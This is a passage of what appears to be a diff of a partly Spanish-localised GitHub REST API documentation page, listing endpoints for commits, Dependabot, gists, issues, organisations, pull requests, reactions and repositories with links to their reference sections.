/repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#get-a-commit-comment) +- [`PATCH /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#update-a-commit-comment) +- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#delete-a-commit-comment) +- [`GET /repos/{owner}/{repo}/commits`](/rest/commits/commits#list-commits) +- [`POST /repos/{owner}/{repo}/statuses/{sha}`](/rest/commits/statuses#create-a-commit-status) + +## dependabot + +- [`GET /repos/{owner}/{repo}/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) +- [`GET /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-a-repository-secret) +- [`PUT /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-a-repository-secret) +- [`DELETE /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-a-repository-secret) +- [`GET /repos/{owner}/{repo}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) +- [`GET /orgs/{org}/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) +- [`GET /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-an-organization-secret) +- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-an-organization-secret) +- [`DELETE /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-an-organization-secret) +- [`GET /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) +- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) +- [`GET /orgs/{org}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) +- [`GET /repos/{owner}/{repo}/dependabot/alerts`](/rest/reference/dependabot#list-dependabot-alerts-for-a-repository) +- [`GET /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#get-a-dependabot-alert) +- [`PATCH /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#update-a-dependabot-alert) + +## dependency-graph + +- [`POST /repos/{owner}/{repo}/dependency-graph/snapshots`](/rest/reference/dependency-graph#create-a-snapshot-of-dependencies-for-a-repository) +- [`GET /repos/{owner}/{repo}/dependency-graph/compare/{basehead}`](/rest/reference/dependency-graph#get-a-diff-of-the-dependencies-between-commits) + +## deployments + +- [`GET /repos/{owner}/{repo}/environments`](/rest/deployments/environments#list-environments) + +## emojis + +- [`GET /emojis`](/rest/reference/emojis#get-emojis) + +## enterprise-admin +{% ifversion ghec %} +- [`GET /enterprises/{enterprise}/audit-log`](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise){% endif %} +- [`GET /enterprises/{enterprise}/settings/billing/advanced-security`](/rest/reference/billing#export-advanced-security-active-committers-data-for-enterprise) +- [`GET /enterprise-installation/{enterprise_or_org}/server-statistics`](/rest/reference/enterprise-admin#get-github-enterprise-server-statistics) + +## gists + +- [`GET /gists/{gist_id}/comments`](/rest/reference/gists#list-gist-comments) +- [`POST /gists/{gist_id}/comments`](/rest/reference/gists#create-a-gist-comment) +- [`GET /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#get-a-gist-comment) +- [`PATCH /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#update-a-gist-comment) +- [`DELETE /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#delete-a-gist-comment) +- [`GET /gists`](/rest/reference/gists#list-gists-for-the-authenticated-user) +- [`POST /gists`](/rest/reference/gists#create-a-gist) +- [`GET /gists/{gist_id}`](/rest/reference/gists#get-a-gist) +- [`PATCH /gists/{gist_id}`](/rest/reference/gists/#update-a-gist) +- [`DELETE /gists/{gist_id}`](/rest/reference/gists#delete-a-gist) +- [`GET /gists/{gist_id}/commits`](/rest/reference/gists#list-gist-commits) +- [`GET /gists/{gist_id}/forks`](/rest/reference/gists#list-gist-forks) +- [`POST /gists/{gist_id}/forks`](/rest/reference/gists#fork-a-gist) +- [`GET /gists/{gist_id}/star`](/rest/reference/gists#check-if-a-gist-is-starred) +- [`PUT /gists/{gist_id}/star`](/rest/reference/gists#star-a-gist) +- [`DELETE /gists/{gist_id}/star`](/rest/reference/gists#unstar-a-gist) +- [`GET /gists/public`](/rest/reference/gists#list-public-gists) +- [`GET /gists/starred`](/rest/reference/gists#list-starred-gists) +- [`GET /users/{username}/gists`](/rest/reference/gists#list-gists-for-a-user) + +## git + +- [`POST /repos/{owner}/{repo}/git/blobs`](/rest/reference/git#create-a-blob) +- [`POST /repos/{owner}/{repo}/git/commits`](/rest/reference/git#create-a-commit) +- [`POST /repos/{owner}/{repo}/git/refs`](/rest/reference/git#create-a-reference) +- [`POST /repos/{owner}/{repo}/git/tags`](/rest/reference/git#create-a-tag-object) +- [`POST /repos/{owner}/{repo}/git/trees`](/rest/reference/git#create-a-tree) + +## gitignore + +- [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates) + +## interacciones + +- [`GET /orgs/{org}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-an-organization) +- [`PUT /orgs/{org}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) +- [`DELETE /orgs/{org}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) +- [`GET /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-a-repository) +- [`PUT /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) +- [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) +- [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) +- [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) + +## issues + +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#add-assignees-to-an-issue) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#list-issue-comments) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#create-an-issue-comment) +- [`GET /repos/{owner}/{repo}/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository) +- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#get-an-issue-comment) +- [`PATCH /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#update-an-issue-comment) +- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#delete-an-issue-comment) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/events`](/rest/reference/issues#list-issue-events) +- [`GET /repos/{owner}/{repo}/issues/events`](/rest/reference/issues#list-issue-events-for-a-repository) +- [`GET /repos/{owner}/{repo}/issues/events/{event_id}`](/rest/reference/issues#get-an-issue-event) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue) +- [`GET /issues`](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user) +- [`GET /orgs/{org}/issues`](/rest/reference/issues#list-organization-issues-assigned-to-the-authenticated-user) +- [`GET /repos/{owner}/{repo}/assignees`](/rest/reference/issues#list-assignees) +- [`GET /repos/{owner}/{repo}/issues`](/rest/reference/issues#list-repository-issues) +- [`POST /repos/{owner}/{repo}/issues`](/rest/reference/issues#create-an-issue) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues#get-an-issue) +- [`PATCH /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues/#update-an-issue) +- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#lock-an-issue) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#unlock-an-issue) +- [`GET /user/issues`](/rest/reference/issues#list-user-account-issues-assigned-to-the-authenticated-user) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#list-labels-for-an-issue) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#add-labels-to-an-issue) +- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#set-labels-for-an-issue) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#remove-all-labels-from-an-issue) +- [`GET /repos/{owner}/{repo}/labels`](/rest/reference/issues#list-labels-for-a-repository) +- [`POST /repos/{owner}/{repo}/labels`](/rest/reference/issues#create-a-label) +- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) +- [`GET /repos/{owner}/{repo}/milestones`](/rest/reference/issues#list-milestones) +- [`POST /repos/{owner}/{repo}/milestones`](/rest/reference/issues#create-a-milestone) +- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#get-a-milestone) +- [`PATCH /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#update-a-milestone) +- [`DELETE /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#delete-a-milestone) + +## licencias + +- [`GET /licenses`](/rest/reference/licenses#get-all-commonly-used-licenses) +- [`GET /repos/{owner}/{repo}/license`](/rest/reference/licenses/#get-the-license-for-a-repository) + +## markdown + +- [`POST /markdown`](/rest/reference/markdown#render-a-markdown-document) +- [`POST /markdown/raw`](/rest/reference/markdown#render-a-markdown-document-in-raw-mode) + +## meta + +- [`GET /meta`](/rest/reference/meta#get-github-meta-information) +- [`GET /octocat`](/rest/reference/meta#get-octocat) +- [`GET /zen`](/rest/meta#get-the-zen-of-github) +- [`GET /`](/rest/overview/resources-in-the-rest-api#root-endpoint) + +## Métricas + +- [`GET /repos/{owner}/{repo}/community/profile`](/rest/metrics/community#get-community-profile-metrics) +- [`GET /repos/{owner}/{repo}/stats/code_frequency`](/rest/metrics/statistics#get-the-weekly-commit-activity) +- [`GET /repos/{owner}/{repo}/stats/commit_activity`](/rest/metrics/statistics#get-the-last-year-of-commit-activity) +- [`GET /repos/{owner}/{repo}/stats/contributors`](/rest/metrics/statistics#get-all-contributor-commit-activity) +- [`GET /repos/{owner}/{repo}/stats/participation`](/rest/metrics/statistics#get-the-weekly-commit-count) +- [`GET /repos/{owner}/{repo}/stats/punch_card`](/rest/metrics/statistics#get-the-hourly-commit-count-for-each-day) +- [`GET /repos/{owner}/{repo}/traffic/clones`](/rest/metrics/traffic#get-repository-clones) +- [`GET /repos/{owner}/{repo}/traffic/popular/paths`](/rest/metrics/traffic#get-top-referral-paths) +- [`GET /repos/{owner}/{repo}/traffic/popular/referrers`](/rest/metrics/traffic#get-top-referral-sources) +- [`GET /repos/{owner}/{repo}/traffic/views`](/rest/metrics/traffic#get-page-views) + +## Migraciones + +- [`GET /orgs/{org}/migrations`](/rest/reference/migrations#list-organization-migrations) +- [`POST /orgs/{org}/migrations`](/rest/reference/migrations#start-an-organization-migration) +- [`GET /orgs/{org}/migrations/{migration_id}`](/rest/reference/migrations#get-an-organization-migration-status) +- [`GET /orgs/{org}/migrations/{migration_id}/archive`](/rest/reference/migrations#download-an-organization-migration-archive) +- [`DELETE /orgs/{org}/migrations/{migration_id}/archive`](/rest/reference/migrations#delete-an-organization-migration-archive) +- [`GET /orgs/{org}/migrations/{migration_id}/repositories`](/rest/reference/migrations#list-repositories-in-an-organization-migration) +- [`GET /user/migrations`](/rest/reference/migrations#list-user-migrations) +- [`POST /user/migrations`](/rest/reference/migrations#start-a-user-migration) +- [`GET /user/migrations/{migration_id}`](/rest/reference/migrations#get-a-user-migration-status) +- [`GET /user/migrations/{migration_id}/archive`](/rest/reference/migrations#download-a-user-migration-archive) +- [`DELETE /user/migrations/{migration_id}/archive`](/rest/reference/migrations#delete-a-user-migration-archive) +- [`GET /user/migrations/{migration_id}/repositories`](/rest/reference/migrations#list-repositories-for-a-user-migration) +- [`GET /repos/{owner}/{repo}/import`](/rest/reference/migrations#get-an-import-status) +- [`PUT /repos/{owner}/{repo}/import`](/rest/reference/migrations#start-an-import) +- [`PATCH /repos/{owner}/{repo}/import`](/rest/reference/migrations#update-an-import) +- [`DELETE /repos/{owner}/{repo}/import`](/rest/reference/migrations#cancel-an-import) +- [`GET /repos/{owner}/{repo}/import/authors`](/rest/reference/migrations#get-commit-authors) +- [`PATCH /repos/{owner}/{repo}/import/authors/{author_id}`](/rest/reference/migrations#map-a-commit-author) +- [`GET /repos/{owner}/{repo}/import/large_files`](/rest/reference/migrations#get-large-files) +- [`PATCH /repos/{owner}/{repo}/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) + +## orgs + +{% ifversion ghec %} +- [`GET /orgs/{org}/audit-log`](/rest/reference/orgs#get-audit-log){% endif %} +- [`GET /organizations/{organization_id}/custom_roles`](/rest/reference/orgs#list-custom-repository-roles-in-an-organization) +- [`PATCH /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#update-a-custom-role) +- [`DELETE /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#delete-a-custom-role) +- [`GET /orgs/{org}/fine_grained_permissions`](/rest/reference/orgs#list-fine-grained-permissions-for-an-organization) +- [`GET /orgs/{org}/hooks`](/rest/reference/orgs#list-organization-webhooks) +- [`POST /orgs/{org}/hooks`](/rest/reference/orgs#create-an-organization-webhook) +- [`GET /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#get-an-organization-webhook) +- [`PATCH /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#update-an-organization-webhook) +- [`DELETE /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#delete-an-organization-webhook) +- [`GET /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#get-a-webhook-configuration-for-an-organization) +- [`PATCH /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#update-a-webhook-configuration-for-an-organization) +- [`GET /orgs/{org}/hooks/{hook_id}/deliveries`](/rest/reference/orgs#list-deliveries-for-an-organization-webhook) +- [`GET /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/reference/orgs#get-a-webhook-delivery-for-an-organization-webhook) +- [`POST /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/reference/orgs#redeliver-a-delivery-for-an-organization-webhook) +- [`POST /orgs/{org}/hooks/{hook_id}/pings`](/rest/reference/orgs#ping-an-organization-webhook) +- [`GET /orgs/{org}/failed_invitations`](/rest/reference/orgs#list-failed-organization-invitations) +- [`GET /orgs/{org}/invitations`](/rest/reference/orgs#list-pending-organization-invitations) +- [`POST /orgs/{org}/invitations`](/rest/reference/orgs#create-an-organization-invitation) +- [`DELETE /orgs/{org}/invitations/{invitation_id}`](/rest/reference/orgs#cancel-an-organization-invitation) +- [`GET /orgs/{org}/invitations/{invitation_id}/teams`](/rest/reference/orgs#list-organization-invitation-teams) +- [`GET /orgs/{org}/members`](/rest/reference/orgs#list-organization-members) +- [`GET /orgs/{org}/members/{username}`](/rest/reference/orgs#check-organization-membership-for-a-user) +- [`DELETE /orgs/{org}/members/{username}`](/rest/reference/orgs#remove-an-organization-member) +- [`GET /orgs/{org}/memberships/{username}`](/rest/reference/orgs#get-organization-membership-for-a-user) +- [`PUT /orgs/{org}/memberships/{username}`](/rest/reference/orgs#set-organization-membership-for-a-user) +- [`DELETE /orgs/{org}/memberships/{username}`](/rest/reference/orgs#remove-organization-membership-for-a-user) +- [`GET /orgs/{org}/public_members`](/rest/reference/orgs#list-public-organization-members) +- [`GET /orgs/{org}/public_members/{username}`](/rest/reference/orgs#check-public-organization-membership-for-a-user) +- [`PUT /orgs/{org}/public_members/{username}`](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user) +- [`DELETE /orgs/{org}/public_members/{username}`](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user) +- [`GET /orgs/{org}/outside_collaborators`](/rest/reference/orgs#list-outside-collaborators-for-an-organization) +- [`PUT /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator) +- [`DELETE /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#remove-outside-collaborator-from-an-organization) +- [`GET /orgs/{org}/security-managers`](/rest/reference/orgs#list-security-manager-teams) +- [`PUT /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#add-a-security-manager-team) +- [`DELETE /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#remove-a-security-manager-team) +- [`GET /organizations`](/rest/reference/orgs#list-organizations) +- [`GET /orgs/{org}`](/rest/reference/orgs#get-an-organization) +- [`PATCH /orgs/{org}`](/rest/reference/orgs/#update-an-organization) +- [`GET /orgs/{org}/installations`](/rest/reference/orgs#list-app-installations-for-an-organization) +- [`GET /users/{username}/orgs`](/rest/reference/orgs#list-organizations-for-a-user) +- [`GET /user/memberships/orgs/{org}`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) +- [`PATCH /user/memberships/orgs/{org}`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) +- [`GET /user/memberships/orgs`](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user) +- [`GET /user/orgs`](/rest/reference/orgs#list-organizations-for-the-authenticated-user) +- [`GET /orgs/{org}/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) +- [`GET /orgs/{org}/blocks/{username}`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) +- [`PUT /orgs/{org}/blocks/{username}`](/rest/reference/orgs#block-a-user-from-an-organization) +- [`DELETE /orgs/{org}/blocks/{username}`](/rest/reference/orgs#unblock-a-user-from-an-organization) + +## packages + +- [`GET /orgs/{org}/packages`](/rest/reference/packages#list-packages-for-an-organization) +- [`GET /users/{username}/packages`](/rest/reference/packages#list-packages-for-user) +- [`GET /user/packages`](/rest/reference/packages#list-packages-for-the-authenticated-user) + +## páginas + +- [`GET /repos/{owner}/{repo}/pages`](/rest/pages#get-a-github-pages-site) +- [`POST /repos/{owner}/{repo}/pages`](/rest/pages#create-a-github-pages-site) +- [`PUT /repos/{owner}/{repo}/pages`](/rest/pages#update-information-about-a-github-pages-site) +- [`DELETE /repos/{owner}/{repo}/pages`](/rest/pages#delete-a-github-pages-site) +- [`GET /repos/{owner}/{repo}/pages/builds`](/rest/pages#list-github-pages-builds) +- [`POST /repos/{owner}/{repo}/pages/builds`](/rest/pages#request-a-github-pages-build) +- [`GET /repos/{owner}/{repo}/pages/builds/{build_id}`](/rest/pages#get-github-pages-build) +- [`GET /repos/{owner}/{repo}/pages/builds/latest`](/rest/pages#get-latest-pages-build) +- [`POST /repos/{owner}/{repo}/pages/deployment`](/rest/pages#create-a-github-pages-deployment) +- [`GET /repos/{owner}/{repo}/pages/health`](/rest/pages#get-a-dns-health-check-for-github-pages) + +## projects + +- [`GET /projects/{project_id}/collaborators`](/rest/reference/projects#list-project-collaborators) +- [`PUT /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#add-project-collaborator) +- [`DELETE /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#remove-project-collaborator) +- [`GET /projects/{project_id}/collaborators/{username}/permission`](/rest/reference/projects#get-project-permission-for-a-user) +- [`GET /orgs/{org}/projects`](/rest/reference/projects#list-organization-projects) +- [`POST /orgs/{org}/projects`](/rest/reference/projects#create-an-organization-project) +- [`GET /projects/{project_id}`](/rest/reference/projects#get-a-project) +- [`PATCH /projects/{project_id}`](/rest/reference/projects#update-a-project) +- [`DELETE /projects/{project_id}`](/rest/reference/projects#delete-a-project) +- [`GET /projects/{project_id}/columns`](/rest/reference/projects#list-project-columns) +- [`POST /projects/{project_id}/columns`](/rest/reference/projects#create-a-project-column) +- [`GET /projects/columns/{column_id}`](/rest/reference/projects#get-a-project-column) +- [`PATCH /projects/columns/{column_id}`](/rest/reference/projects#update-a-project-column) +- [`DELETE /projects/columns/{column_id}`](/rest/reference/projects#delete-a-project-column) +- [`GET /projects/columns/{column_id}/cards`](/rest/reference/projects#list-project-cards) +- [`POST /projects/columns/{column_id}/cards`](/rest/reference/projects#create-a-project-card) +- [`POST /projects/columns/{column_id}/moves`](/rest/reference/projects#move-a-project-column) +- [`GET /projects/columns/cards/{card_id}`](/rest/reference/projects#get-a-project-card) +- [`PATCH /projects/columns/cards/{card_id}`](/rest/reference/projects#update-a-project-card) +- [`DELETE /projects/columns/cards/{card_id}`](/rest/reference/projects#delete-a-project-card) +- [`POST /projects/columns/cards/{card_id}/moves`](/rest/reference/projects#move-a-project-card) +- [`GET /repos/{owner}/{repo}/projects`](/rest/reference/projects#list-repository-projects) +- [`POST /repos/{owner}/{repo}/projects`](/rest/reference/projects#create-a-repository-project) +- [`GET /users/{username}/projects`](/rest/reference/projects#list-user-projects) +- [`POST /user/projects`](/rest/reference/projects#create-a-user-project) + +## pulls + +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#list-review-comments-on-a-pull-request) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#create-a-review-comment-for-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/comments`](/rest/reference/pulls#list-review-comments-in-a-repository) +- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#get-a-review-comment-for-a-pull-request) +- [`PATCH /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) +- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#get-all-requested-reviewers-for-a-pull-request) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) +- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#get-a-review-for-a-pull-request) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#update-a-review-for-a-pull-request) +- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#delete-a-pending-review-for-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) +- [`GET /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#list-pull-requests) +- [`POST /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#create-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request) +- [`PATCH /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls/#update-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/commits`](/rest/reference/pulls#list-commits-on-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/files`](/rest/reference/pulls#list-pull-requests-files) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#check-if-a-pull-request-has-been-merged) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#merge-a-pull-request) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/update-branch`](/rest/reference/pulls#update-a-pull-request-branch) + +## rate-limit + +- [`GET /rate_limit`](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user) + +## reactions + +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-comment-reaction) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-reaction) +- [`GET /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment) +- [`POST /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) +- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-commit-comment-reaction) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-reaction) +- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) +- [`POST /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) +- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-comment-reaction) +- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment) +- [`POST /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment) +- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) +- [`GET /repos/{owner}/{repo}/releases/{release_id}/reactions`](/rest/reference/reactions/#list-reactions-for-a-release) +- [`POST /repos/{owner}/{repo}/releases/{release_id}/reactions`](/rest/reference/reactions/#create-reaction-for-a-release) +- [`DELETE /repos/{owner}/{repo}/releases/{release_id}/reactions/{reaction_id}`](/rest/reference/reactions/#delete-a-release-reaction) + +## repos + +- [`GET /repos/{owner}/{repo}/codeowners/errors`](/rest/reference/repos#list-codeowners-errors) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#list-deployment-statuses) +- [`POST /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#create-a-deployment-status) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses/{status_id}`](/rest/reference/repos#get-a-deployment-status) +- [`GET /repos/{owner}/{repo}/deployments`](/rest/reference/repos#list-deployments) +- [`POST /repos/{owner}/{repo}/deployments`](/rest/reference/repos#create-a-deployment) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#get-a-deployment) +- [`DELETE /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#delete-a-deployment) +- [`GET /orgs/{org}/repos`](/rest/reference/repos#list-organization-repositories) +- [`POST /orgs/{org}/repos`](/rest/reference/repos#create-an-organization-repository) +- [`GET /repositories`](/rest/reference/repos#list-public-repositories) +- [`GET /repos/{owner}/{repo}`](/rest/reference/repos#get-a-repository) +- [`PATCH /repos/{owner}/{repo}`](/rest/reference/repos/#update-a-repository) +- [`DELETE /repos/{owner}/{repo}`](/rest/reference/repos#delete-a-repository) +- [`GET /repos/{owner}/{repo}/contributors`](/rest/reference/repos#list-repository-contributors) +- [`GET /repos/{owner}/{repo}/forks`](/rest/reference/repos#list-forks) +- [`POST /repos/{owner}/{repo}/forks`](/rest/reference/repos#create-a-fork) +- [`GET /repos/{owner}/{repo}/languages`](/rest/reference/repos#list-repository-languages) +- [`GET /repos/{owner}/{repo}/tags`](/rest/reference/repos#list-repository-tags) +- [`GET /repos/{owner}/{repo}/teams`](/rest/reference/repos#list-repository-teams) +- [`POST /repos/{owner}/{repo}/transfer`](/rest/reference/repos#transfer-a-repository) +- [`GET /users/{username}/repos`](/rest/reference/repos#list-repositories-for-a-user) +- [`GET /user/repos`](/rest/reference/repos#list-repositories-for-the-authenticated-user) +- [`POST /user/repos`](/rest/reference/repos#create-a-repository-for-the-authenticated-user) +- [`GET 